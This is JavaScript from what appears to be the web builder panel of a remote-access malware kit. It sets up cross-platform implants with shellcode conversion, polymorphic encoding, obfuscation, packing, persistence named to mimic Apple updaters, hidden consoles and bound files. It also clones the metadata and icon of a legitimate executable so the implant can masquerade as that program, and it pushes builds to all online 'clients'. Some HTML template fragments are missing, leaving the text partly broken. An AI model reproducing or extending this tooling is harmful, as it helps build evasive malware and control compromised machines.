updateShellcodeCheckboxVisibility(); saveFormSettings(); } function applyCryptableShellcodeGate() { const cryptableOn = !!document.getElementById("cryptable-mode")?.checked; const setGate = (checkboxId, hintId) => { const cb = document.getElementById(checkboxId); const hint = document.getElementById(hintId); if (!cb) return; const label = cb.closest("label"); if (cryptableOn) { cb.disabled = false; label?.classList.remove("opacity-40", "pointer-events-none"); if (hint) hint.classList.add("hidden"); } else { if (cb.checked) { cb.checked = false; cb.dispatchEvent(new Event("change", { bubbles: true })); } cb.disabled = true; label?.classList.add("opacity-40", "pointer-events-none"); if (hint) hint.classList.remove("hidden"); } }; setGate("donut-mode", "donut-cryptable-hint"); setGate("linux-shellcode-mode", "linux-sc-cryptable-hint"); } function updateShellcodeCheckboxVisibility() { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasWindows = selected.some((p) => p.startsWith("windows-")); const hasLinuxAmd64 = selected.includes("linux-amd64"); const donutRow = document.getElementById("donut-row"); if (donutRow) donutRow.classList.toggle("hidden", !hasWindows); const linuxScRow = document.getElementById("linux-sc-row"); if (linuxScRow) linuxScRow.classList.toggle("hidden", !hasLinuxAmd64); applyCryptableShellcodeGate(); // SGN is only meaningful when there's shellcode to encode — i.e. Donut or // Linux shellcode is enabled on a compatible platform. const donutOn = document.getElementById("donut-mode")?.checked && hasWindows; const linuxScOn = document.getElementById("linux-shellcode-mode")?.checked && hasLinuxAmd64; const sgnRow = document.getElementById("sgn-row"); if (sgnRow) sgnRow.classList.toggle("hidden", !(donutOn || linuxScOn)); if (!(donutOn || linuxScOn)) { const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox?.checked) { sgnCheckbox.checked = false; applySgnMode(false); } } } function applySgnMode(enabled) { const badge = document.getElementById("sgn-badge"); if (badge) badge.classList.toggle("hidden", !enabled); saveFormSettings(); } function applyDonutMode(enabled) { const badge = document.getElementById("donut-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonWindows = selected.some((p) => !p.startsWith("windows-")); const nonWinWarn = document.getElementById("donut-nonwin-warn"); if (nonWinWarn) nonWinWarn.classList.toggle("hidden", !hasNonWindows); } saveFormSettings(); } function applyLinuxShellcodeMode(enabled) { const badge = document.getElementById("linux-sc-badge"); if (badge) badge.classList.toggle("hidden", !enabled); if (enabled) { const selected = Array.from(document.querySelectorAll('input[name="platform"]:checked')).map((el) => el.value); const hasNonAmd64Linux = selected.some((p) => p.startsWith("linux-") && p !== "linux-amd64"); const nonX64Warn = document.getElementById("linux-sc-nonx64-warn"); if (nonX64Warn) nonX64Warn.classList.toggle("hidden", !hasNonAmd64Linux); } saveFormSettings(); } restoreFormSettings(); initAccordions(); initBuilderTabs(); loadBuildPlugins(); loadMacosSdkStatus(); updateWindowsSectionVisibility(); updateShellcodeCheckboxVisibility(); updateDisableCgoWarning(); init(); if (solMemoCheckbox && solSettings) { solSettings.classList.toggle("hidden", !solMemoCheckbox.checked); } if (rawServerListCheckbox && serverUrlInput) { rawServerListCheckbox.addEventListener("change", () => { const isRaw = rawServerListCheckbox.checked; const current = serverUrlInput.value.trim(); if (isRaw && solMemoCheckbox) { solMemoCheckbox.checked = false; if (solSettings) solSettings.classList.add("hidden"); } if (isRaw) { // Raw-list mode wants a real https:// URL pointing at a .txt of endpoints. // Swap any wss:// → https:// / ws:// → http:// the user may have left over. if (current.startsWith("wss://")) { serverUrlInput.value = "https://" + current.slice("wss://".length); } else if (current.startsWith("ws://")) { serverUrlInput.value = "http://" + current.slice("ws://".length); } } else { // Non-raw mode: bare domain only. The agent prepends wss:// itself. serverUrlInput.value = stripServerUrlPrefix(current); } updateServerUrlPlaceholder(); }); if (serverUrlCurrentBtn) { serverUrlCurrentBtn.addEventListener("click", () => { if (solMemoCheckbox?.checked) { solMemoCheckbox.checked = false; if (solSettings) solSettings.classList.add("hidden"); } serverUrlInput.value = getCurrentServerUrlForMode(); serverUrlInput.dispatchEvent(new Event("input", { bubbles: true })); serverUrlInput.dispatchEvent(new Event("change", { bubbles: true })); saveFormSettings(); serverUrlInput.focus(); }); } // Live-strip protocol prefixes in non-raw mode so the field stays clean and // the user sees their typo corrected immediately. serverUrlInput.addEventListener("input", () => { if (rawServerListCheckbox.checked) return; const before = serverUrlInput.value; const after = stripServerUrlPrefix(before); if (after !== before) { const caret = Math.max(0, (serverUrlInput.selectionStart ?? after.length) - (before.length - after.length)); serverUrlInput.value = after; try { serverUrlInput.setSelectionRange(caret, caret); } catch {} } }); } const rawServerListHelpBtn = document.getElementById("raw-server-list-help"); const rawServerListModal = document.getElementById("raw-server-list-modal"); const rawServerListModalClose = document.getElementById("raw-server-list-modal-close"); const rawServerListModalOk = document.getElementById("raw-server-list-modal-ok"); function showRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("hidden"); rawServerListModal.classList.add("flex"); } function hideRawServerListModal() { if (!rawServerListModal) return; rawServerListModal.classList.remove("flex"); rawServerListModal.classList.add("hidden"); } if (rawServerListHelpBtn) rawServerListHelpBtn.addEventListener("click", showRawServerListModal); if (rawServerListModalClose) rawServerListModalClose.addEventListener("click", hideRawServerListModal); if (rawServerListModalOk) rawServerListModalOk.addEventListener("click", hideRawServerListModal); if (rawServerListModal) { rawServerListModal.addEventListener("click", (e) => { if (e.target === rawServerListModal) hideRawServerListModal(); }); } document.addEventListener("keydown", (e) => { if (e.key === "Escape" && rawServerListModal && !rawServerListModal.classList.contains("hidden")) { hideRawServerListModal(); } }); if (solMemoCheckbox && solSettings) { solMemoCheckbox.addEventListener("change", () => { const isSol = solMemoCheckbox.checked; solSettings.classList.toggle("hidden", !isSol); if (isSol && rawServerListCheckbox) { rawServerListCheckbox.checked = false; updateServerUrlPlaceholder(); } if (isSol) loadSolRpcEndpoints(); }); } function getSelectedPlatformFamilies() { const selectedPlatforms = Array.from( document.querySelectorAll('input[name="platform"]:checked'), ).map((el) => el.value); return { windows: selectedPlatforms.some((platform) => platform.startsWith("windows-")), linux: selectedPlatforms.some((platform) => platform.startsWith("linux-")), darwin: selectedPlatforms.some((platform) => platform.startsWith("darwin-")), ios: selectedPlatforms.some((platform) => platform.startsWith("ios-")), }; } function validateStartupName() { if (!startupNameError) return true; const families = getSelectedPlatformFamilies(); const val = document.getElementById("startup-name")?.value.trim() || ""; if ((families.darwin || families.ios) && val && !val.startsWith("com.")) { startupNameError.textContent = "macOS/iOS requires the name to start with \"com.\" (e.g. com.apple.updater)"; startupNameError.classList.remove("hidden"); return false; } startupNameError.textContent = ""; startupNameError.classList.add("hidden"); return true; } function updatePersistenceSettingsVisibility() { if (!persistenceMethodContainer) return; const persistenceEnabled = !!persistenceCheckbox?.checked; if (!persistenceEnabled) { persistenceMethodContainer.classList.add("hidden"); return; } persistenceMethodContainer.classList.remove("hidden"); const families = getSelectedPlatformFamilies(); const hasSupportedFamily = families.windows || families.linux || families.darwin; if (persistenceWindowsSettings) { persistenceWindowsSettings.classList.toggle("hidden", !families.windows); } if (persistenceLinuxSettings) { persistenceLinuxSettings.classList.toggle("hidden", !families.linux); } if (persistenceMacSettings) { persistenceMacSettings.classList.toggle("hidden", !families.darwin); } if (persistenceStartupNameContainer) { persistenceStartupNameContainer.classList.toggle("hidden", !hasSupportedFamily); } if (startupNameMacosHint) { startupNameMacosHint.classList.toggle("hidden", !families.darwin); } if (startupNameDefaultHint) { startupNameDefaultHint.classList.toggle("hidden", families.darwin); } if (persistenceEmptyState) { persistenceEmptyState.classList.toggle("hidden", hasSupportedFamily); } validateStartupName(); } if (persistenceCheckbox && persistenceMethodContainer) { persistenceCheckbox.addEventListener("change", updatePersistenceSettingsVisibility); } platformInputs.forEach((input) => { input.addEventListener("change", updatePersistenceSettingsVisibility); input.addEventListener("change", updateWindowsSectionVisibility); input.addEventListener("change", updateIosSectionVisibility); input.addEventListener("change", updateMacosSdkVisibility); }); disableCgoInput?.addEventListener("change", updateMacosSdkVisibility); disableCgoInput?.addEventListener("change", updateDisableCgoWarning); macosSdkFileInput?.addEventListener("change", () => { const file = macosSdkFileInput.files?.[0]; if (macosSdkFileStatus && file) macosSdkFileStatus.textContent = `${file.name} selected (${formatFileSize(file.size)}).`; }); document.getElementById("startup-name")?.addEventListener("input", validateStartupName); function updateIosSectionVisibility() { const families = getSelectedPlatformFamilies(); const iosBundleIdContainer = document.getElementById("ios-bundle-id-container"); if (iosBundleIdContainer) { iosBundleIdContainer.classList.toggle("hidden", !families.ios); } } updateIosSectionVisibility(); updatePersistenceSettingsVisibility(); form?.addEventListener("change", saveFormSettings); form?.addEventListener("input", saveFormSettings); const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); const garbleSettingsContainer = document.getElementById("garble-settings-container"); if (obfuscateCheckbox && garbleSettingsContainer) { obfuscateCheckbox.addEventListener("change", () => { if (obfuscateCheckbox.checked) { garbleSettingsContainer.classList.remove("hidden"); } else { garbleSettingsContainer.classList.add("hidden"); } }); } const upxCheckbox = document.querySelector('input[name="enable-upx"]'); const upxSettingsContainer = document.getElementById("upx-settings-container"); if (upxCheckbox && upxSettingsContainer) { upxCheckbox.addEventListener("change", () => { if (upxCheckbox.checked) { upxSettingsContainer.classList.remove("hidden"); } else { upxSettingsContainer.classList.add("hidden"); } }); } const cryptableCheckbox = document.getElementById("cryptable-mode"); if (cryptableCheckbox) { cryptableCheckbox.addEventListener("change", () => { applyCryptableMode(cryptableCheckbox.checked); }); if (cryptableCheckbox.checked) { applyCryptableMode(true); } } const donutCheckbox = document.getElementById("donut-mode"); if (donutCheckbox) { donutCheckbox.addEventListener("change", () => { applyDonutMode(donutCheckbox.checked); }); if (donutCheckbox.checked) applyDonutMode(true); } const linuxScCheckbox = document.getElementById("linux-shellcode-mode"); if (linuxScCheckbox) { linuxScCheckbox.addEventListener("change", () => { applyLinuxShellcodeMode(linuxScCheckbox.checked); updateShellcodeCheckboxVisibility(); }); if (linuxScCheckbox.checked) applyLinuxShellcodeMode(true); } if (donutCheckbox) { donutCheckbox.addEventListener("change", () => updateShellcodeCheckboxVisibility()); } const sgnCheckbox = document.getElementById("sgn-mode"); if (sgnCheckbox) { sgnCheckbox.addEventListener("change", () => applySgnMode(sgnCheckbox.checked)); if (sgnCheckbox.checked) applySgnMode(true); } const sgnIterationsInput = document.getElementById("sgn-iterations"); if (sgnIterationsInput) { sgnIterationsInput.addEventListener("change", () => saveFormSettings()); } document.querySelectorAll('input[name="platform"]').forEach((el) => { el.addEventListener("change", () => { updateShellcodeCheckboxVisibility(); if (donutCheckbox?.checked) applyDonutMode(true); if (linuxScCheckbox?.checked) applyLinuxShellcodeMode(true); }); }); let pendingIconBase64 = null; const iconUpload = document.getElementById("icon-upload"); const iconLabel = document.getElementById("icon-label"); const iconClear = document.getElementById("icon-clear"); if (iconUpload) { iconUpload.addEventListener("change", () => { const file = iconUpload.files[0]; if (!file) return; if (file.size > 1024 * 1024) { alert("Icon file must be under 1MB"); iconUpload.value = ""; return; } const reader = new FileReader(); reader.onload = () => { const base64 = reader.result.split(",")[1]; pendingIconBase64 = base64; if (iconLabel) iconLabel.textContent = file.name; if (iconClear) iconClear.classList.remove("hidden"); }; reader.readAsDataURL(file); }); } if (iconClear) { iconClear.addEventListener("click", () => { pendingIconBase64 = null; if (iconUpload) iconUpload.value = ""; if (iconLabel) iconLabel.textContent = "Choose .ico file"; iconClear.classList.add("hidden"); }); } function extractPEMetadata(buffer) { const dv = new DataView(buffer); const bytes = new Uint8Array(buffer); const u8 = (o) => dv.getUint8(o); const u16 = (o) => dv.getUint16(o, true); const u32 = (o) => dv.getUint32(o, true); const alignUp = (n) => (n + 3) & ~3; if (buffer.byteLength < 0x40) throw new Error("File too small"); if (u16(0) !== 0x5A4D) throw new Error("Not a PE file (missing MZ header)"); const peOff = u32(0x3C); if (peOff + 24 > buffer.byteLength) throw new Error("Invalid PE offset"); if (u32(peOff) !== 0x4550) throw new Error("Not a PE file (missing PE signature)"); const numSections = u16(peOff + 6); const optHdrSize = u16(peOff + 20); const optMagic = u16(peOff + 24); const is64 = optMagic === 0x20B; // PE32+ vs PE32 const dataDirsOff = peOff + 24 + (is64 ? 112 : 96); const rsrcRVA = u32(dataDirsOff + 2 * 8); // index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE if (rsrcRVA === 0) throw new Error("No resource section RVA"); const secTableOff = peOff + 24 + optHdrSize; let rsrcRaw = 0; for (let i = 0; i < numSections; i++) { const s = secTableOff + i * 40; const va = u32(s + 12); const vsz = Math.max(u32(s + 8), u32(s + 16)); const raw = u32(s + 20); if (rsrcRVA >= va && rsrcRVA < va + vsz) { rsrcRaw = raw + (rsrcRVA - va); break; } } if (!rsrcRaw) throw new Error("Could not locate resource section raw data"); const rvaToOff = (rva) => rsrcRaw + (rva - rsrcRVA); function rsrcDir(dirOff) { if (dirOff + 16 > buffer.byteLength) return []; const numNamed = u16(dirOff + 12); const numId = u16(dirOff + 14); const total = numNamed + numId; const entries = []; for (let i = 0; i < total; i++) { const e = dirOff + 16 + i * 8; if (e + 8 > buffer.byteLength) break; const nameOrId = u32(e); const dataOrDir = u32(e + 4); entries.push({ id: (nameOrId & 0x80000000) ? null : nameOrId, isSubDir: (dataOrDir & 0x80000000) !== 0, off: dataOrDir & 0x7FFFFFFF, }); } return entries; } const WANT = new Set([3, 14, 16]); const resources = {}; for (const te of rsrcDir(rsrcRaw)) { if (te.id === null || !WANT.has(te.id) || !te.isSubDir) continue; resources[te.id] = {}; for (const ne of rsrcDir(rsrcRaw + te.off)) { if (!ne.isSubDir) continue; const nameId = ne.id ?? 1; resources[te.id][nameId] = []; for (const le of rsrcDir(rsrcRaw + ne.off)) { if (le.isSubDir) continue; const deOff = rsrcRaw + le.off; if (deOff + 8 > buffer.byteLength) continue; const dataRVA = u32(deOff); const dataSize = u32(deOff + 4); const dataOff = rvaToOff(dataRVA); if (dataOff + dataSize <= buffer.byteLength) resources[te.id][nameId].push({ dataOff, dataSize }); } } } function parseVersionStrings(absOff, size) { const strings = {}; const end = absOff + size; let pos = absOff; if (pos + 6 > end) return strings; const viLen = u16(pos); const viValLen = u16(pos + 2); pos += 6; while (pos + 1 < end && (u8(pos) | u8(pos + 1))) pos += 2; pos = alignUp(pos + 2); pos += viValLen; pos = alignUp(pos); const viEnd = Math.min(absOff + viLen, end); while (pos + 6 < viEnd) { const childLen = u16(pos); if (childLen < 6) break; const childEnd = Math.min(pos + childLen, viEnd); let kp = pos + 6; let key = ""; while (kp + 1 < childEnd && (u8(kp) | u8(kp + 1))) { key += String.fromCharCode(u8(kp) | (u8(kp + 1) << 8)); kp += 2; } kp = alignUp(kp + 2); if (key === "StringFileInfo") { let sp = kp; while (sp + 6 < childEnd) { const stLen = u16(sp); if (stLen < 6) break; const stEnd = Math.min(sp + stLen, childEnd); let tp = sp + 6; while (tp + 1 < stEnd && (u8(tp) | u8(tp + 1))) tp += 2; tp = alignUp(tp + 2); while (tp + 6 < stEnd) { const sLen = u16(tp); if (sLen < 6) break; const sEnd = Math.min(tp + sLen, stEnd); const sValLen = u16(tp + 2); let np = tp + 6; let name = ""; while (np + 1 < sEnd && (u8(np) | u8(np + 1))) { name += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } np = alignUp(np + 2); let val = ""; const valEnd = Math.min(np + sValLen * 2, sEnd); while (np + 1 < valEnd && (u8(np) | u8(np + 1))) { val += String.fromCharCode(u8(np) | (u8(np + 1) << 8)); np += 2; } if (name) strings[name] = val; tp = alignUp(sEnd); } sp = alignUp(stEnd); } } pos = alignUp(childEnd); } return strings; } function buildIco(groupOff, iconRes) { if (groupOff + 6 > buffer.byteLength) return null; const count = u16(groupOff + 4); if (count === 0 || groupOff + 6 + count * 14 > buffer.byteLength) return null; const grpEntries = []; for (let i = 0; i < count; i++) { const e = groupOff + 6 + i * 14; grpEntries.push({ w: u8(e), h: u8(e + 1), cc: u8(e + 2), planes: u16(e + 4), bits: u16(e + 6), size: u32(e + 8), id: u16(e + 12), }); } const iconData = []; for (const en of grpEntries) { const rd = iconRes[en.id]; if (!rd || rd.length === 0) continue; iconData.push({ en, dataOff: rd[0].dataOff, dataSize: rd[0].dataSize }); } if (iconData.length === 0) return null; let totalSize = 6 + iconData.length * 16; for (const id of iconData) totalSize += id.dataSize; const ico = new Uint8Array(totalSize); const idv = new DataView(ico.buffer); let p = 0; idv.setUint16(p, 0, true); p += 2; // reserved idv.setUint16(p, 1, true); p += 2; // type = ICO idv.setUint16(p, iconData.length, true); p += 2; let dataOffset = 6 + iconData.length * 16; const entryStart = p; let ep = entryStart; p += iconData.length * 16; for (const { en, dataOff, dataSize } of iconData) { ico[ep] = en.w; ico[ep+1] = en.h; ico[ep+2] = en.cc; ico[ep+3] = 0; idv.setUint16(ep + 4, en.planes, true); idv.setUint16(ep + 6, en.bits, true); idv.setUint32(ep + 8, dataSize, true); idv.setUint32(ep + 12, dataOffset, true); ep += 16; ico.set(bytes.subarray(dataOff, dataOff + dataSize), dataOffset); dataOffset += dataSize; } let bin = ""; for (let i = 0; i < ico.length; i++) bin += String.fromCharCode(ico[i]); return btoa(bin); } const result = {}; if (resources[16]) { const vd = Object.values(resources[16]).flat()[0]; if (vd) { try { result.strings = parseVersionStrings(vd.dataOff, vd.dataSize); } catch (_) {} } } if (resources[14] && resources[3]) { const gd = Object.values(resources[14]).flat()[0]; if (gd) { try { result.iconBase64 = buildIco(gd.dataOff, resources[3]); } catch (_) {} } } return result; } const cloneExeUpload = document.getElementById("clone-exe-upload"); const cloneExeLabel = document.getElementById("clone-exe-label"); const cloneExeStatus = document.getElementById("clone-exe-status"); function setCloneStatus(msg, isError) { if (!cloneExeStatus) return; cloneExeStatus.textContent = msg; cloneExeStatus.className = "text-xs " + (isError ? "text-red-400" : "text-emerald-400"); cloneExeStatus.classList.remove("hidden"); } if (cloneExeUpload) { cloneExeUpload.addEventListener("change", () => { const file = cloneExeUpload.files[0]; if (!file) return; if (cloneExeLabel) cloneExeLabel.textContent = file.name; setCloneStatus("Parsing...", false); const reader = new FileReader(); reader.onload = () => { try { const meta = extractPEMetadata(reader.result); const s = meta.strings || {}; const fields = [ ["assembly-title", s["FileDescription"] ?? s["InternalName"] ?? ""], ["assembly-product", s["ProductName"] ?? ""], ["assembly-company", s["CompanyName"] ?? ""], ["assembly-version", s["FileVersion"]?.replace(/,\s*/g, ".") ?? s["ProductVersion"]?.replace(/,\s*/g, ".") ?? ""], ["assembly-copyright", s["LegalCopyright"] ?? s["LegalTrademarks"] ?? ""], ]; let filled = 0; for (const [id, val] of fields) { const el = document.getElementById(id); if (el && val) { el.value = val; filled++; } } if (meta.iconBase64) { const decodedBytes = Math.floor(meta.iconBase64.length * 3 / 4); if (decodedBytes <= 1024 * 1024) { pendingIconBase64 = meta.iconBase64; if (iconLabel) iconLabel.textContent = file.name + " (cloned icon)"; if (iconClear) iconClear.classList.remove("hidden"); setCloneStatus(`Cloned ${filled} metadata field(s) + icon`, false); } else { setCloneStatus(`Cloned ${filled} metadata field(s) (icon too large, skipped)`, false); } } else { setCloneStatus(filled > 0 ? `Cloned ${filled} metadata field(s), no icon found` : "No metadata found in file", !filled); } } catch (err) { setCloneStatus("Error: " + err.message, true); } cloneExeUpload.value = ""; }; reader.readAsArrayBuffer(file); }); } const MAX_BIND_FILES = 5; const MAX_BIND_FILE_BYTES = 200 * 1024 * 1024; // 200 MB let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean } const bindFileInput = document.getElementById("bind-file-input"); const bindFilesList = document.getElementById("bind-files-list"); const bindAddLabel = document.getElementById("bind-add-label"); function sanitizeBindName(name) { return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file"; } function renderBoundFiles() { if (!bindFilesList) return; bindFilesList.innerHTML = ""; boundFiles.forEach((entry, idx) => { const div = document.createElement("div"); div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg"; const osList = ["windows", "linux", "darwin"]; const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" }; const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" }; const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" }; const osCheckboxes = osList .map( (os) => ``, ) .join(""); div.innerHTML = `
Checking online clients...
'; try { const res = await fetch("/api/build/update-eligible", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ platforms }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); updateAllModalBody.innerHTML = `${data.error || "Failed to check eligible clients"}
`; return; } const data = await res.json(); let html = ""; html += `${data.eligible} client(s) will receive the update after build.
`; html += '${data.totalOnline} total online client(s)
`; if (data.skippedInMemory > 0) { html += `${data.skippedInMemory} client(s) will be skipped (running in-memory)
`; } if (data.skippedNoMatch > 0) { html += `${data.skippedNoMatch} client(s) will be skipped (no matching platform)
`; } html += "No clients are currently online. The build will still run but no updates will be sent.
'; } html += 'This will build the client and push the update to all eligible clients. Clients will restart automatically.
'; updateAllConfirm.disabled = false; updateAllModalBody.innerHTML = html; } catch (err) { updateAllModalBody.innerHTML = `Error: ${err.message}
`; } }); } if (updateAllConfirm) { updateAllConfirm.addEventListener("click", () => { hideUpdateAllModal(); pendingUpdateAll = true; pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; form.requestSubmit(); }); } if (buildUploadBtn) { buildUploadBtn.addEventListener("click", () => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); if (platformCheckboxes.length === 0) { alert("Please select at least one platform to build"); return; } pendingUpload = true; form.requestSubmit(); }); } if (buildSgnTxtBtn) { buildSgnTxtBtn.addEventListener("click", () => { if (isBuilding) return; const sgnEnabled = document.getElementById("sgn-mode")?.checked || false; if (!sgnTxtUnlocked) { sgnTxtUnlockClicks += 1; if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) { sgnTxtUnlocked = true; saveSgnTxtUnlockState(); updateSgnTxtLockState(); if (window.showToast) window.showToast("SGN TXT build unlocked", "success"); } else { updateSgnTxtLockState(); } pulseSgnTxtLockbox(); return; } if (!sgnEnabled) { alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file."); return; } const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); if (platformCheckboxes.length === 0) { alert("Please select at least one platform to build"); return; } pendingSgnTxtBuild = true; form.requestSubmit(); }); } async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); try { const res = await fetch("/api/build/update-all", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ buildId, hideWindow }), }); const data = await res.json().catch(() => ({})); if (!res.ok) { addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); return; } const succeeded = data.successCount || 0; const total = data.totalOnline || 0; const failed = (data.results || []).filter((r) => !r.ok); const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); if (inMemoryCount > 0) { addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); } if (noMatchCount > 0) { addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); } const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); if (otherFailed.length > 0) { addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); } } catch (err) { addBuildOutput(`Update error: ${err.message}\n`, "error"); } }